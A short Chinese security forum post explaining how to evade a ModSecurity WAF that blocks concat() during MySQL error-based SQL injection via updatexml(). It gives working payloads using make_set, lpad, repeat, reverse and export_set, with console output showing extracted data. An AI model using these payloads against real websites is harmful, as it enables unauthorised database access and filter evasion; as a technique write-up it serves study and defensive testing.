今天,一位朋友遇到sql注入漏洞,被waf给拦截了。目标使用的中间件为nginx,可以使用updatexml进行报错注入,waf使用mod-security规则,而且开发人员自己改写了规则,禁用了concat等常见字符串拼接函数。朋友一开始使用hex来读取数据,后来发现部分数据会丢失。原因很简单,updatexml中存在特殊字符、字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,而hex出的数据包含字母和数字,所以第一个字母前面的内容都会丢失,如下图:

既然updatexml函数是从特殊字符、字母后面开始截取的,我们就需要在我们想要的数据前面拼接上特殊字符。waf禁用了concat等常见字符串拼接函数,那么我们可以使用冷门的字符串处理函数绕过,这里感谢雨了个雨师傅提供的payload

mysql> select updatexml(1,make_set(3,'~',(select user())),1);

关于make_set函数的用法,可以参考:mysql MAKE_SET()用法 ,我们还可以找到类似的函数:lpad()、reverse()、repeat()、export_set()(lpad()、reverse()、repeat()这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)。

mysql> select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'


mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'


mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'
mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'


mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'

还有一个要注意的是:updatexml报错最多只能显示32位,我们结合SUBSTR函数来获取数据就行了。

参考文章:

点击收藏 | 3 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖